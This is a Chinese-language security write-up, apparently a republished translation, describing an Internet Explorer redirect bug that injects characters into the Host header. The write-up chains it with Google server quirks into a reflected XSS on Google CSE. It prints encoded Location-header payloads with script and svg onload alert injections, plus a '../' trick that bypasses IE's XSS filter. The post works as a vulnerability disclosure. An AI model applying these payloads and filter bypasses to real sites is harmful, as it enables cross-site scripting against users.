在 IE 中处理重定向时有一个有趣的错误,它可以将任意字符插入到 Host 标头中。假设您有以下 http 响应:
HTTP/1.1 302 发现
日期:2015 年 3 月 6 日星期五 08:35:32 GMT
服务器:Apache/2.2.22 (Debian)
X-Powered-By:PHP/5.4.36-0+deb7u3
位置:http://example .com%2flogin.php
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html
猜猜接下来会发出什么请求?会发行吗?Location 标头看起来并不正确......所以这是 IE 所做的:
GET /login.phphp/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: pl-PL
用户代理:Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: example.com/login.php
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
可以看的没错:Host头中有“example.com/login.php”。还有一些奇怪的路径:为什么在地球上是 login.phphp 而原始 URL 中没有类似的东西?好吧,看来 IE 对其 URL 编码和 URL 解码形式的路径做了一些奇怪的覆盖。图片说明了一切:
继续前进,您可能会期望服务器会倾向于以 400 Bad Request 响应这样一个奇怪的 Host 标头。这通常是真的......
但幸运的是,Google 在处理 Host 标头时存在一些怪癖,可以绕过它。
怪癖是在主机头中添加端口号。它实际上没有经过验证,您可以在冒号后放置您喜欢的任何字符串。就像在 Gmail 上这样:
Gmail 足够聪明,可以对其进行正确编码。
在继续讨论正确的 XSS 之前,我需要提到另一个 Google 服务器的特定行为,稍后将需要它来绕过 IE 的 XSS 保护。通常,当您尝试到达路径内部会出现双点时(例如 /test1/../test2),Google 服务器会立即对其进行规范化并发出重定向。
但是,当您在路径中添加分号时,神奇地不再发生这种情况。
好的,让我们继续讨论 Google CSE XSS。它看起来就像这样:
主机标头清楚地反映在响应中,无需任何编码。请注意,Burp 的语法高亮在屏幕截图中具有误导性:</textarea>实际上关闭了标签,脚本将被执行。
所以我准备了一个简单的网页,返回以下 http 响应:
HTTP/1.1 302 Found
Server: Apache/2.2.22 (Debian)
Location: https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b% 3c%2ftextarea%3e%3cscript%3ealert(1)%3c%2fscript%3e
期望下一个请求将包含以下主机标头:
主机:www.google.com:443/cse/tools/create_onthefly;</textarea><script>alert(1)</script>
这确实发生了,但 IE 知道这里发生了一些事情......
幸运的是,IE 的 XSS 过滤器很笨,很容易绕过它。还记得分号和“../”的技巧吗?好吧,过滤器似乎通过将地址栏中的 URL 与页面内容进行比较来工作。因此,当您向/<svg/onload=alert(1)/../../发出请求时,IE 将在地址栏中自动将其规范化为/并且将不再看到 XSS。这简直太搞笑了!
所以最终我有一个带有以下标题的页面:
位置:https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b%3c%2ftextarea%3e%3csvg%2fonload%3dalert%28document%2edomain%29 %3e%3b%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e %2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
(其中值解码为:位置:https://www.google.com:443/cse/tools/create_onthefly;</textarea><svg/onload=alert(document.domain)> ;/../.. /../../../../../../../../../../../../)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有